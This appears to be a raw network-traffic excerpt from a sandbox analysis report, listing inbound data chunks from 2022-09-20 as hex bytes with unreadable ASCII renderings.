79 9f 5b 71 03 37 d9 1e d7 11 83 45 f1 71 f4 36 c8 da f3 4c 78 ca 22 8d ee 92 19 ce 01 ee 60 53 e4 16 df 4e 23 72 2b a4 
73 fb 66 e0 7e b7 f6 1c 9a 94 8a 9a da fd f8 85 19 d0 13 f1 fb 78 5a 17 a0 df f3 84 4e 1a d0 93 75 98 41 0c 68 52 b1 58 bf 
d1 24 b1 58 21 ed e7 7d 37 fc 4f ae 78 09 67 37 23 e0 9e f4 eb 24 c3 31 70 4f ba 1c 4d bc d1 16 40 89 18 7b bc 72 0b b8 
27 5d 8c 3d 5f d0 0d 63 4f cc 14 fd 99 f0 3a 1c 3c f1 95 8f b4 85 19 d0 e4 c3 05 6c 40 93 0a a3 f2 da 20 40 93 b2 88 78 a7 
74 25 bb ef 3d 55 88 83 87 df 72 c0 c1 73 4b 8a 80 e2 47 1b 44 40 dd 92 38 78 e8 e0 80 83 e7 96 ea b9 94 33 70 93 a3 
3d a7 23 e5 0f a7 c9 b1 9e 31 38 20 db 89 fb f8 93 d6 
Data Ascii: MWU%YDR7[5nihR]}r1]y[q7Eq6Lx"`SN#r+sf~xZNuAhRX$X!}7Oxg7#$1pOM@{r']=_cO:<l@ @xt
%=UrsKGD@8x3p=#18 

Timestamp
kBytes
transferred

Direction Data
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2022-09-20 10:10:08 UTC 122 IN Data Raw: a7 f7 df 1b ce c1 9a 3e 7b 79 eb bc 91 b7 53 f3 7b 2b 6f 67 7c 7c c3 9c cf c5 14 a0 b1 f8 c9 2c 2c 04 8b c5 a0 
f7 63 07 01 8a 8a f1 4a b9 58 af 54 90 53 bc e5 5c 46 20 dd f0 30 e6 3c 01 18 2c 86 87 f1 2f ff f7 12 68 ea 60 cf 2c 2c 04 
52 02 0f e3 df d5 a4 3c 8c 8f 04 0f 63 f7 5b 1e c6 21 65 84 08 81 6a af 24 14 26 90 ee 75 5f 29 00 75 70 df 3d 72 00 ce c1 
fe bc 33 dd 0a 01 95 3c 08 ab 07 ad 2c c1 50 f1 3d a1 03 b0 27 cf cd ad 49 c0 7e 3f 88 b6 ff 9e c3 79 14 6d 1f 52 26 67 21 
90 6e 38 35 ff aa 26 e5 d4 5c e3 c2 34 a2 a8 bf bc 0c 54 9b 99 38 5d 2c 4b 65 67 26 09 ae 10 dd 99 24 42 da ef 7c 54 8f 
3c a3 c9 a9 97 cf e4 11 e9 58 48 cd d9 1e 08 d4 24 d2 51 58 89 d2 51 84 b4 cb 6d 52 ee d5 47 82 7b b5 95 c8 bd fa 48 
37 9d 27 81 74 c3 61 9a 16 bf 88 06 e4 bb d3 cb 
Data Ascii: >{yS{+og||,,cJXTS\F 0<,/h`,,R<c[!ej$&u_)up=r3<,P='I~?ymR&g!n85&\4T8],Keg&$B|T<XH$QXQmRG{H7'ta

2022-09-20 10:10:08 UTC 130 IN Data Raw: 7b 9a 83 00 58 fb 81 93 96 6a 3f 72 d2 0a e9 1e f3 01 d8 e4 73 03 ff 08 8a 8a e1 26 f1 e3 cb 40 b5 c9 00 f6 ef 
97 81 9a 2c 19 32 04 c0 59 75 24 10 83 7d 79 19 a8 27 f0 c6 a2 65 81 c9 ed 59 0c 4e 2f 37 29 4e af c6 6c f0 5a 1e ab f9 
ed 1b 33 b6 fb 97 37 35 fd 91 40 c7 f5 97 46 29 3a ae 06 16 c8 7c 82 8f bc b1 1a 33 88 e7 33 d9 fa a0 57 52 d3 eb 67 30 
35 7d 63 4e 70 6d 5b 98 13 5c c5 d3 01 8b 04 ec 20 72 6b 7b c6 16 91 77 35 66 b4 d6 51 85 19 ad 59 0c 3a 2e 3d 13 93 
cd 37 26 5e f6 e0 4d 1f df 98 d7 d8 bf 7c 11 1d 57 63 92 61 0f a7 d8 44 56 cb 0d 13 04 d0 f4 41 6a df ac 2d 96 ae c6 cc 
b9 d9 a4 58 ba 1a 93 c7 ea a4 5b 4d 1f df 98 c9 55 d7 3e cc e4 ca 62 d0 71 fd 5b c5 a2 e3 6a 4c 7d 2a 53 2a 53 9f b2 b8 
dd 6f 31 53 88 aa 38 7d 2a 09 a4 1b d1 83 ea 77 55 f4 60 
Data Ascii: {Xj?rs&@,2Yu$}y'eYN/7)NlZ375@F):|33WRg05}cNpm[\ rk{w5fQY:.=7&^M|WcaDVAj-X[MU>bq[jL}*S*So
1S8}*wU`

2022-09-20 10:10:08 UTC 137 IN Data Raw: 64 88 a0 a8 38 e3 5d 09 d8 13 d2 b3 ba b6 1c 64 c2 33 30 ce 69 3c 79 01 48 c9 a5 45 21 60 4f 4a 4b f6 3c 32 
66 a9 27 61 54 4a 25 5d e7 b4 82 54 40 d9 a4 f8 4f 42 8a b7 81 5b e7 62 7a d6 90 62 b5 ff eb 17 15 6b b5 3f 1b a9 bc 35 
24 50 07 57 ba 04 10 48 37 dc 69 b8 b7 07 90 ee 95 11 7e 1d 2e 22 d2 0d ca 15 eb 16 e5 ca f9 49 41 b9 c2 d5 27 00 17 
bc 48 de e6 bb 3a 02 ea ae 20 51 a1 85 15 80 3d a9 88 52 e2 c2 01 c0 7e 57 90 a8 20 51 03 81 9a 04 5b ca 6f 1c 7c 15 
5b 4a 48 79 f7 4f 20 dd 24 51 51 b1 48 54 8e 34 ef 81 0c 40 b5 41 a2 f2 9d fa 2d 12 95 23 81 44 c5 ba 45 a2 d2 0b 52 2c 
7b 94 4d 6c 29 47 02 5b 0a 77 05 00 d4 8d 9c 0c 9e 6c 4d 6c 29 47 02 5b 8a 7e 9d 26 b6 94 5e c0 9d a0 d5 1e 40 ba 49 
8b a2 62 d1 a2 9c cd ce 3b c3 ed 00 34 d9 3e c8 5c 09 a8 9b 64 ae 
Data Ascii: d8]d30i<yHE!`OJK<2f'aTJ%]T@OB[bzbk?5$PWH7i~."IA'H: Q=R~W Q[o|[JHyO $QQHT4@A-#DER,{Ml)G[w
lMl)G[~&^@Ib;4>\d

2022-09-20 10:10:08 UTC 145 IN Data Raw: c5 d3 06 07 82 c5 e2 27 f7 df 00 7c 26 e5 8d c0 3f ce 41 80 c6 62 04 fe f1 93 01 20 25 a0 92 e6 9b 06 c0 9e 3c 
3d 03 75 08 d8 93 48 aa ea f5 24 00 1f 6c dc 24 e4 42 0d c0 26 1f dc ec b9 b6 6e f6 ce a2 5a f3 3c 7f 80 ae d9 8e 84 1b 
32 17 eb 86 ec 48 08 e5 e3 bb 03 c0 da 15 17 67 7a 26 55 17 67 61 ce be 0b 5e 78 29 f1 6d 38 47 e8 dc 85 11 50 77 7b 
a7 3f 32 01 75 b7 a7 dc c1 07 a0 ee 86 ab 30 fe c4 01 34 f8 76 af c2 08 38 78 7a 7d 58 89 bc 3e 66 e9 08 b7 53 93 5d e1 
76 47 c2 e5 96 6a 77 5d 6e 1d a9 a6 2b 03 01 75 77 50 d6 6a 94 5d 94 b5 91 74 e2 ee d9 00 58 7b e0 72 4b 4a 46 f3 f4 
19 f3 2e 78 70 64 64 93 03 f4 ac 1a e5 10 3d 2b 58 e2 73 99 09 ca 31 3d d8 75 37 f1 04 1c ce c2 dd 11 5f 29 00 2a d9 f5 
ae 27 01 d4 e4 ae 79 29 47 c0 e7 bd fb 5d 4f 00 d8 ef 8d db 
Data Ascii: '|&?Ab %<=uH$l$B&nZ<2Hgz&Uga^x)m8GPw{?2u04v8xz}X>fS]vGjw]n+uwPj]tX{rKJF.xpdd=+Xs1=u7_)*'
y)G]O

2022-09-20 10:10:08 UTC 153 IN Data Raw: 84 1b 1b 1e 69 01 50 fb bc b6 71 d2 a5 12 00 d4 de 0d 67 12 38 3b 11 34 16 c3 6a f1 f5 3f 2f 03 f4 3b 0a ab 7b 
02 00 dd 7b bc cd 20 23 40 dd bc 01 56 6d df 00 c7 cd a4 c9 76 04 54 1b e6 09 d7 96 79 22 c8 c7 62 f0 ea c9 94 2f e8 03 
3f 6f ff c4 f0 f3 66 ed 85 dd ba 94 2c ef d6 23 86 a4 67 93 5b bb f5 12 4e d2 5b cf 84 40 c5 cd 84 21 02 8d c5 98 9a ae ad 
a9 19 d2 f0 e0 09 a8 e4 c1 1e 59 b5 1f ed 91 cb f9 60 c5 0b 18 c4 32 02 a8 5d 1e 64 02 c2 3a 48 b0 50 3c 71 aa fb 19 b5 
01 1a 8b 71 6d 4f dd 00 aa 8d e3 db f7 ff bc 0c 58 7b 81 5b 45 b5 17 b9 55 20 c5 f7 f2 97 1f 5f 06 ae 1d ab e6 2f ff a8 98 
ab 66 29 4c 0c 6d 25 4c 1c 00 29 6c 05 56 52 69 2b 08 29 3e ba 11 a8 23 a0 26 11 8b 65 25 8c c5 82 14 96 05 37 49 c2 
3e 48 b1 b5 c8 da dc 5a 94 c2 10 2d eb 66 88 16 a4 
Data Ascii: iPqg8;4j?/;{{ #@VmvTy"b/?of,#g[N[@!Y`2]d:HP<qqmOX{[EU _/f)Lm%L)lVRi+)>#&e%7I>HZ-f

2022-09-20 10:10:08 UTC 161 IN Data Raw: 5f c5 32 e7 47 a4 da 54 98 b7 00 9b 44 dc a3 9b 44 dc 23 8b 61 e5 ff 8b c3 a9 b2 f2 c7 e6 72 e7 47 17 80 4d 
36 10 24 ea 51 b5 ae a5 37 9c c1 72 87 07 40 dd ed 1a ff 01 f4 4c 3a 4e ba 7c a5 00 a8 bb e3 7a 50 c3 e9 bc 1e 0c a9 3b 
72 4b 80 4d 76 78 94 a8 27 7d 6a a1 3e 2b 55 55 ac 0a 81 e6 09 1d 8f b9 70 4c 39 1e 87 04 1b b5 7e cb 21 1b 75 44 aa 
39 95 a2 c0 52 71 cf 6d 22 00 7b 32 a6 c9 a4 04 a4 24 ee 7a 71 9f 06 a0 55 33 48 e3 db 74 bf e7 a3 55 73 4e 90 63 e8 51 
cd e2 f9 8d 68 51 2d 05 00 ec f7 84 f7 1b bf 24 00 ec c9 c4 7d f1 17 36 39 a7 56 cd b8 b8 cb 1d 75 00 cd aa 05 b3 f8 0f f8 
ce 03 b0 27 0b 5b 67 0d 7e 79 eb 1c 0b 6f cd 57 6a c9 46 1d 01 6c 7b e5 84 08 c0 9e 04 65 65 3e 93 00 54 b2 c1 9b 08 
93 0d 80 26 db 2e 79 0d 41 b0 54 5c 73 87 07 d0 54 1c 2f c9 
Data Ascii: _2GTDD#arGM6$Q7r@L:N|zP;rKMvx'}j>+UUpL9~!uD9Rqm"{2$zqU3HtUsNcQhQ-$}69Vu'[g~yoWjFl{ee>T&.
yAT\sT/

2022-09-20 10:10:08 UTC 169 IN Data Raw: 49 4b 5d 7b 68 29 38 52 6e 72 08 5c 5b 99 97 0c d0 c1 ce 38 2f d6 ee 8c f3 82 f4 88 ae 48 80 3f 43 27 c5 8d 
6b 57 fd f2 67 39 2c 32 66 08 48 89 69 37 0d d4 64 ef f5 36 a9 6d e2 91 10 b9 65 25 83 07 9b 90 d6 47 07 79 42 0f e9 7e 
ea 08 a4 1b e6 65 d7 a6 79 79 70 2f 7c 75 cf e5 e1 ac bb 9e 00 e0 d7 e9 0f 98 3e 55 fb 79 6b 56 85 7f 53 4e 08 00 ea 66 
06 3a d7 46 06 3a 48 2d b7 44 04 ec e0 13 b9 42 b3 76 d7 3b 7f 96 87 35 6f ed ad 97 fb 1c 29 e5 a7 64 a0 e2 96 5b 39 82 
a6 e2 36 73 94 85 47 f1 90 c6 fd 92 00 48 49 44 01 65 ed a9 77 be 93 eb da b5 c1 75 1d 12 3f d1 aa ed 4f 74 24 ae 6d f9 
ba 06 90 92 0a 16 7f d7 ae fa 64 84 47 d5 d5 5d 75 a4 a5 f9 24 7b c2 4c 57 90 90 b6 db b5 87 66 d5 39 71 4c 3a 52 19 a0 
27 a3 23 84 9c b5 01 54 ec 58 71 03 34 19 a4 b6 39 4f 00 
Data Ascii: IK]{h)8Rnr\[8/H?C'kWg9,2fHi7d6me%GyB~eyyp/|u>UykVSNf:F:H-DBv;5o)d[96sGHIDewu?Ot$mdG]u${L
Wf9qL:R'#TXq49O

2022-09-20 10:10:08 UTC 176 IN Data Raw: 49 10 65 47 58 bc 41 af 47 83 a8 77 c4 16 8a e5 56 ec 60 04 3a fe 3c e0 27 10 f7 97 02 51 f6 5e 5c 62 4b 1b 
b7 58 02 51 c8 7e 6a 25 96 ce 50 49 10 bf 66 98 61 d5 9b 61 86 df f8 f3 8d 13 a8 f8 e6 05 50 08 22 80 70 51 49 d0 f9 6b 
e6 21 43 2b 09 58 f6 80 51 1c 6a 42 d0 f1 e7 85 33 a5 bf 58 f6 e2 99 52 50 b8 74 8e 4d 2a 81 ca 5e 38 6a 62 bd 01 50 93 
fd 59 4c a6 77 37 e8 fc 33 4e a0 f0 76 08 e2 c1 8e 08 4b c2 7c a3 06 f8 75 eb 08 d0 f2 99 7f ee 83 af 38 56 74 b1 2c e7 af 
01 50 c1 de e1 35 f3 17 1e 15 00 6a 32 6e ec 5d d9 78 00 14 32 3a 36 92 fc 35 00 0a 81 2d df e2 2b 06 88 e1 71 8f f4 c5 
49 ec 0d a2 ec 09 13 3f f5 58 00 7c 97 bb f3 e3 2a 0c 15 24 c0 af db 1b 3e 1f 78 97 04 05 7f be e0 26 88 77 49 d0 f1 67 c6 
87 60 21 8a 0f 01 aa c6 14 fd 3f fd b9 62 8a e6 d9 
Data Ascii: IeGXAGwV`:<'Q^\bKXQ~j%PIfaaP"pQIk!C+XQjB3XRPtM*^8jbPYLw73NvK|u8Vt,P5j2n]x2:65-+qI?X|*$>x
&wIg`!?b

2022-09-20 10:10:08 UTC 184 IN Data Raw: 7c 9f 39 aa f7 5c 8b 86 07 d6 7a 3c c4 a6 b3 d7 20 63 c9 f9 ed 97 57 22 eb 40 60 d2 94 e8 f9 a9 d1 e9 2f 1b d8 
7b 76 86 3e 9f 9d a1 e7 37 c8 40 ee f9 a2 46 7e 83 1d ce 0e 34 75 24 72 3b e0 c8 96 45 8d fc 06 e9 4a 72 24 96 87 f0 0e 
43 39 ad c8 02 65 2f 81 79 92 7b 7b b7 79 52 dd 85 c6 d1 fd 47 bd f3 a1 a0 3c 9b 64 34 55 ad 45 3b c3 a9 92 c4 79 e2 7f 
f4 74 f3 3c 31 d2 03 62 ae 55 03 19 24 15 24 03 9c 5a 62 29 20 48 90 0c 71 fa ed 95 48 2d e7 39 c3 07 bd f3 3c 67 08 f2 
3e 53 6a cf 7b 9c bd 9c c2 a9 81 24 46 9e 1a 6c 12 de 03 b4 a0 23 62 ad 06 43 75 aa 81 e3 b2 05 76 1d 4c 0d ae 67 35 
aa a2 0e 05 89 d4 07 ea 89 83 d9 c1 49 62 e1 95 12 b9 f0 1a f5 b9 5a 1a 35 57 4b 31 05 c7 91 37 a7 54 20 d5 aa 61 31 
a1 77 0e 24 1d 0d e7 70 da 15 01 59 62 3e be 73 20 e9 18 30 
Data Ascii: |9\z< cW"@`/{v>7@F~4u$r;EJr$C9e/y{{yRG<d4UE;yt<1bU$$Zb) HqH-9<g>Sj{$Fl#bCuvLg5IbZ5WK17T 
a1w$pYb>s 0

Timestamp
kBytes
transferred

Direction Data
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2022-09-20 10:10:08 UTC 192 IN Data Raw: b1 59 3b 12 3d 47 51 45 69 fe 6a 46 8e a2 f7 49 d5 26 e4 5a 8d f6 7e 14 35 7c 2c 52 ef 31 ce 16 39 90 47 1f 2c 
46 f3 0d de 79 63 52 b1 1e 3c 8f 3d 6f 4c 36 f9 38 75 06 b2 8e f5 1c 90 1d e2 73 93 98 8b 52 a2 be bd 6e af 18 dc 73 6c af 
ef 1c 77 eb fb b1 a0 07 92 f2 7a 3d 4e 9d 81 a6 19 8f 05 3d 50 35 e3 71 8b 8c c4 a8 56 5e ee b3 8f 02 72 51 a5 3f de 47 
2d 3e c0 8e f4 9e 67 0b 10 c8 ef 63 0f c0 8f 61 29 90 25 fa e3 0c 39 50 b6 1c be 4b b2 03 a8 76 c8 0b 72 3e 8e 8a 81 fc 
48 70 f3 e3 2e 5a f3 e6 07 69 50 4e 17 0d a4 67 b5 bb c2 39 67 00 aa 66 cc c7 58 d2 de 5e 08 47 50 f8 b3 9b 00 b2 c4 fd 
b8 13 86 a1 d3 db 8c fb f1 06 9b 02 d4 83 cc f8 d4 42 aa 6e ab cf 91 3a 90 75 d4 e7 48 dd 6a 8e d4 ad ae 73 e8 04 e4 06 
b6 fe 58 65 38 10 2c c8 c7 01 36 90 6b 75 fc b6 85 
Data Ascii: Y;=GQEijFI&Z~5|,R19G,FycR<=oL68usRnslwz=N=P5qV^rQ?G->gca)%9PKvr>Hp.ZiPNg9gfX^GPBn:uHjsXe
8,6ku

2022-09-20 10:10:08 UTC 200 IN Data Raw: b2 24 c2 34 b1 c9 85 95 25 be 41 21 3c 2b f8 79 e7 3b 87 9f 37 df f9 fd a6 07 28 df 07 51 17 a3 a5 19 89 50 21 
e3 46 28 2d 4b dc 0a a5 b5 18 57 f1 e8 80 e1 34 19 f4 76 62 ad 88 54 d4 a8 79 59 2c a4 a2 d6 d9 47 09 4d 31 56 73 16 
3e 22 b6 fc d6 fc a1 a2 72 fe 58 b6 9a 54 51 69 35 09 32 ef 0d 88 a6 8a 62 92 6c 4b 38 49 f6 ee 12 6b e4 96 4c 88 cf 6a 
dc 88 b7 84 b3 3e 21 ea 18 8f f3 76 21 33 b0 c7 91 0e 44 04 7b 8b 71 ce db 85 a6 19 7d 3c 24 b2 ba 9b c8 2d b2 90 74 f0 
0a db 12 be c2 0e 72 e5 24 2c a4 76 d0 bd ce 12 76 af 5b f1 f9 e6 4d b5 50 31 23 8f 2c 88 f8 45 ed 12 5b ae fa 84 26 19 
93 d1 93 24 31 35 0f ae bd 69 7b 0c 64 44 95 0c f9 c4 89 61 9f b8 4d 3e 8e f4 02 69 8b bc ec 51 65 c6 52 d0 aa b5 bf 52 
9c 33 90 01 c4 ea ee 1d 20 3c dc 38 bc 12 49 62 cc dc 60 
Data Ascii: $4%A!<+y;7(QP!F(-KW4vbTyY,GM1Vs>"rXTQi52blK8IkLj>!v!3D{q}<$-tr$,vv[MP1#,E[&$15i{dDaM>iQeRR3 
<8Ib`

2022-09-20 10:10:08 UTC 208 IN Data Raw: 54 c4 38 1b 13 a1 4a 46 39 1b 13 21 15 55 1e 03 d9 7a 17 0f 64 2b 0e 10 72 00 20 72 51 69 ea 68 d4 c5 58 8e 
f0 27 e4 06 1e 93 34 23 15 75 f7 f2 68 60 20 d5 ea 46 14 5a 6c 5f 85 d4 c0 13 68 c6 48 ca eb fb 9e 47 47 20 e9 a8 3d 77 
2c 42 d2 51 61 6c f4 f1 db 2b 91 74 c4 f5 e2 91 98 b7 66 ce 15 71 67 c7 79 56 8b 21 12 40 76 07 11 33 92 f2 95 a6 2a 46 
ac ee 5e 5f cf f3 74 81 aa 18 99 0b db 68 8a 71 3b ce 9d 51 11 23 fd 84 8d 5c 54 9a c3 18 a9 a8 13 ef d5 48 b5 ba 71 e9 
fd 9f 6f 2f 23 bd c1 eb 7e 2c a3 88 a4 1c 46 13 1a af 88 54 14 66 f7 94 08 64 89 91 9b 6a 21 55 b7 a7 fb a9 91 19 ed 3e 
bd 1d 48 45 8d 8c dc 62 24 e5 23 e3 5f 19 a9 e5 27 ee a0 91 19 3d 0f e8 84 a8 e3 71 7d 46 a4 61 69 29 4e d1 6f bf be 12 
b1 ba 8f 40 e2 46 5d 8c 79 16 a9 cb 81 c4 83 bc d3 93 d5 
Data Ascii: T8JF9!Uzd+r rQihX'4#uh` FZl_hHGG =w,BQal+tfqgyV!@v3*F^_thq;Q#\THqo/#~,FTfdj!U>HEb$#_'=q}
Fai)No@F]y

2022-09-20 10:10:08 UTC 216 IN Data Raw: 0b e3 f1 d2 6a 09 48 d5 bd 22 d5 bc dd 87 88 a8 7c 3f cc e3 ba 40 44 e5 fb a9 45 bf e2 76 89 88 ca af 0e 9f 6a 
17 d5 ed 53 1d e9 96 8f f3 22 51 17 e3 44 37 16 92 f2 81 37 a8 87 08 64 89 7a a7 8f 3b 53 67 5a c7 3c 17 d2 44 92 98 58 
1a e8 21 02 49 c7 84 b3 b5 25 a6 9d ad 37 89 69 9b 96 4e 44 c5 8c 58 bd 7e fa ef 2b 91 25 ee 38 23 e3 ac 46 64 1d 8f d8 
86 40 7e ec 8c 10 eb 06 3a 42 2c 48 2c 84 3f bd 12 59 39 96 06 bf 9a 51 f3 7d cc 7a e7 76 89 c8 ca 11 44 2c 75 38 88 d8 
26 b1 4b cd 96 7b 97 1a e4 b9 8f 22 62 51 7b 98 9e 79 6b 49 44 89 dd c3 62 f4 a1 6d 14 11 ab 3b 0a 82 ae 6b 20 03 92 
44 41 34 5d 7d 06 40 92 18 cc 4b 26 89 e1 ad 3e 4e eb cf 87 33 9c a1 62 e1 28 74 e4 60 19 48 1d 6e 0f 6f f3 0c 4b 40 2c 
6a 45 c4 ef d4 01 24 c6 28 c7 05 9c 68 bf 8f 7b 6f ff 78 
Data Ascii: jH"|?@DEvjS"QD77dz;SgZ<DX!I%7iNDX~+%8#Fd@~:B,H,?Y9Q}zvD,u8&K{"bQ{ykIDbm;k DA4]}@K&>N3b(t
`HnoK@,jE$(h{ox

2022-09-20 10:10:08 UTC 223 IN Data Raw: 79 38 bb e6 c9 92 88 3f 6d 44 4b 8a af 96 5b 11 11 65 34 c4 cc 72 55 40 94 31 de fb 6c a9 44 ec f9 b8 cf 42 f6 
96 25 52 cf 6f b2 da 33 4c 68 b8 20 fd 0d 84 24 83 3e d5 c9 21 9f 6a 90 a1 f1 e2 d1 a0 0c fb 54 07 79 fc 9d 85 5c 55 e6 89 
33 5a 2e 80 7a 27 39 78 e4 0c f2 18 d7 0b a9 b9 0f 7f 67 a1 e2 82 98 70 fc a2 88 96 0b 9c 46 cd 48 fd 28 48 a3 a6 79 85 
48 f0 6f 17 a4 79 ab 90 65 84 af c4 a9 aa d2 f9 04 64 9c 19 be 5a b8 62 d6 04 99 b9 52 8c cc 81 53 5f 56 e5 53 5f 90 4b 
19 d3 8d dc 73 64 64 cb 56 31 23 1b c9 73 2e 21 72 cf 91 c9 cc 83 58 76 77 73 2b 0c 1d b8 f4 15 a4 19 95 f0 0a 03 65 ff 
1e 55 06 ca b1 81 22 0e a4 c7 aa 29 0e 64 90 3d e3 a4 0a 49 38 23 be eb c3 19 8e f8 7e 93 fd ca cc 0e 44 9e a2 1d d9 36 
dd 8f 5e de 9e 89 1d ae ba fa d4 80 5c 55 66 19 23 
Data Ascii: y8?mDK[e4rU@1lDB%Ro3Lh $>!jTy\U3Z.z'9xgpFH(HyHoyedZbRS_VS_KsddV1#s.!rXvws+eU")d=I8#~D6^\
Uf#

2022-09-20 10:10:08 UTC 231 IN Data Raw: c2 ad 50 09 48 34 54 80 70 2b 92 01 54 54 00 d3 08 55 05 c4 e6 5e 8c 61 ca b5 9d a8 a9 60 1c 03 4c 20 4d 1f 
e6 19 94 f7 32 91 84 97 eb 98 a4 21 59 a2 9b 5b 4e 20 3f 21 c9 e0 53 0a 5f dc 89 d4 2a fa 2e 65 55 f6 5d 8a 17 b9 a3 cb 
20 12 47 c5 53 fc 47 35 b7 fa 29 fe 26 f1 14 af df e3 72 06 7b 90 48 2d 69 0e 85 42 69 4c 14 eb 97 51 26 8a 55 55 ed 7a 
ac 0c 40 ea 79 83 da 50 0b 00 90 64 b4 9d 81 02 84 d4 dc 8e 68 24 5a 19 80 24 bc 23 e8 08 97 3e 20 f7 83 ee 43 5a c8 
ae 74 1f 0a 32 8e 06 fa 0c 80 54 d5 40 d0 91 e4 50 d0 91 20 71 d5 f7 4f 3b 7c d5 5f 61 5d 10 f7 5a 8d d5 54 08 91 20 e1 
8b ec 0e 4e fb 22 af 6b 21 20 88 07 71 29 20 c8 4d 6e 84 f7 f0 20 6e 85 f7 08 b2 1d 25 07 51 73 41 77 aa 04 22 0f fb c6 
55 df bf e0 f6 55 3f c8 18 92 9f 9f 5f 89 2c 03 0f 23 5a 13 
Data Ascii: PH4Tp+TTU^a`L M2!Y[N ?!S_*.eU] GSG5)&r{H-iBiLQ&UUz@yPdh$Z$#> CZt2T@P qO;|_a]ZT N"k! q) Mn 
n%QsAw"UU?_,#Z

2022-09-20 10:10:08 UTC 239 IN Data Raw: 5f 6d b7 8f 7b 18 ad c2 25 46 53 b4 3b f3 22 ac 59 33 d6 bd 90 64 30 f3 a2 a6 4f 77 e6 c5 20 91 79 51 33 b1 
3b f3 e2 40 02 a7 33 7d ba 33 2f de e4 7d c3 6d 79 c7 01 52 55 4c c9 a8 0b 56 77 4a c6 20 4f 4a 46 21 b6 6a 30 25 a3 be 
a8 e1 94 8c 41 f6 54 15 0b b1 55 e3 7a d7 73 2b 02 ca 02 18 41 67 81 4f 19 37 09 87 ee 4f af 44 43 05 d7 63 52 03 15 17 
d4 92 93 01 48 ad ba 60 65 a1 21 01 32 c7 c9 07 29 64 19 c8 07 f9 c3 55 4d df cf 07 f3 41 ba 2a e7 83 0c b2 67 fe 73 21 
75 b0 9c 40 c9 44 5a af 62 7b 74 16 25 a1 e1 02 a4 00 fc ed 95 c8 c2 4f 04 65 21 cb 60 ce c9 ff 71 81 f7 c1 f1 c8 39 29 24 
19 8f 9c 93 42 92 c1 d4 92 ba 5a 0e a7 96 0c 12 d1 a6 b5 c2 01 b9 60 64 d4 53 21 b5 8a a9 25 75 28 1a 3d b5 83 83 a9 
25 35 77 87 53 4b 06 89 37 48 ff e6 ce bc 18 91 fb e0 d4 
Data Ascii: _m{%FS;"Y3d0Ow yQ3;@3}3/}myRULVwJ OJF!j0%ATUzs+AgO7ODCcRH`e!2)dUMA*gs!u@DZb{t%
Oe!`q9)$BZ`dS!%u(=%5wSK7H

2022-09-20 10:10:08 UTC 247 IN Data Raw: 39 c8 be 73 15 dd 61 71 f3 76 c1 72 00 55 21 09 47 b8 85 53 55 f7 29 63 d3 76 d0 ad 9a f9 0d ee 87 c1 9f 10 
06 b1 47 f6 db 3c 14 11 0d 16 94 2b b3 5a 11 f1 33 e8 0a df 8c d7 70 a1 c6 82 de 32 2c b8 d0 62 01 53 5e f3 70 47 24 e1 
0b 89 54 bf 4b c6 52 22 d5 15 df 72 b5 8f 09 11 27 5c d8 0d cd 7c 38 24 a2 f0 fb 77 39 9f 33 11 85 df 1f 69 b7 77 bf 10 85 
5f 03 01 6d 39 77 89 24 9c d9 b3 39 77 89 54 15 0c 01 34 88 40 4b ad da 70 fb 57 3f 80 28 83 4e 26 ae 8a 4e 26 2a 40 
d4 53 0d 49 71 22 ee 9b 84 31 a7 87 9d c6 9c 2c 28 f0 77 e6 9d 13 48 bf 47 a4 d1 4c 2d 27 91 84 33 a7 b7 9a 5b 9c d3 
3b 0c 1b de 47 cb 49 24 e1 1d 8f 7a 1a 2b 20 09 1f 27 c4 27 90 56 9f 7b 3c 10 e2 f3 87 64 38 3d 78 0c 4d cd 60 cc 42 12 
be fa 79 b5 24 32 c7 3c af 96 40 1a dd c8 00 e9 70 5d 42 6a 
Data Ascii: 9saqvrU!GSU)cvG<+Z3p2,bS^pG$TKR"r'\|8$w93iw_m9w$9wT4@KpW?(N&N&*@SIq"1,(wHGL-'3[;GI$z+ ''
V{<d8=xM`By$2<@p]Bj

2022-09-20 10:10:08 UTC 255 IN Data Raw: da 16 31 fe f7 d6 9a 18 48 ca b3 76 35 58 fc 8a 03 68 a9 80 56 de ff fb 32 1a e2 90 eb 9b 38 e4 fa 06 12 ae 6f 
96 21 d7 37 92 4e bc 66 c4 e6 16 c6 17 55 55 45 f1 45 83 bc f0 58 2c e1 08 5a 47 e1 85 f9 71 cc a1 fc 38 20 91 c3 8d e6 
49 44 aa 0a 39 56 93 03 39 56 5d 10 c6 14 7c 90 26 2a 2a d8 eb 74 90 f7 3e 16 30 d5 a7 3a 58 a6 f5 3e f7 f1 08 d6 ea ea 
20 10 39 ee 7d 2f f4 0c aa 0a 88 a3 1b 6a 94 08 86 a6 82 cb 77 e7 56 99 ed c6 1c cb cf 80 11 52 3c ce ed 12 5e 97 b5 83 
2d 02 7e 96 23 63 f9 7d b0 61 57 bc cc 01 c4 56 dd 53 72 9f 61 07 6a 2a c0 f2 6a 8e cb cb eb 4d 62 b1 4c 0e 2f 96 ed fe 
d1 de 3b 5b 05 c4 56 45 f8 ee d4 ef 12 15 17 ac b4 eb 23 62 73 27 93 2b 88 63 2a b9 42 90 1b 09 fd 24 03 88 1c eb 0d f5 
8e 06 11 a8 a9 00 66 0b 3f 5c 60 b3 85 c8 77 8e 38 db 
Data Ascii: 1Hv5XhV28o!7NfUUEEX,ZGq8 ID9V9V]|&**t>0:X> 9}/jwVR<^-~#c}aWVSraj*jMbL/;[VE#bs'+c*B$f?\`w8

Timestamp
kBytes
transferred

Direction Data
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2022-09-20 10:10:08 UTC 262 IN Data Raw: b5 57 86 81 13 62 55 f7 51 20 4d 1d 85 28 7c 57 6c c2 54 2e 13 b1 b9 f7 39 ef 9d 9a 54 22 0a df a3 35 e7 37 
20 d2 87 13 cf e2 a9 42 22 92 70 be ea 6b ac 76 be ea df e7 10 3c 35 72 74 89 0a 0b a8 04 64 3f 88 06 0b 1a 22 dd 52 78 
20 69 3f 66 98 c0 2f 2b e2 89 1a 0b 76 cf 7c c2 42 94 11 49 7b ec d5 28 44 19 17 a3 f5 48 c6 e5 68 3d f7 1e dd e0 19 c6 
df 83 88 fd a8 6f 84 ff e7 c7 49 44 e1 30 5b f2 4d 98 66 4b 6c 6e 43 e2 57 73 00 51 f8 7d 22 3e 97 06 22 0a ef 3c 91 a9 55 
3d 4f 64 73 30 4c 22 cf ed 44 14 1e 89 2f 72 8f 22 62 55 38 0d 7a b6 d3 d0 89 ad 52 d6 37 c9 c8 ac 6f f7 58 d2 d0 81 df 
20 11 65 dc fb 7a fa 1b 08 51 06 6c a6 76 72 0c 1b 66 cd 7b 52 c6 1d 47 ad 02 62 3f f6 f5 ce c0 8a 42 43 05 58 90 3f b8 c0 
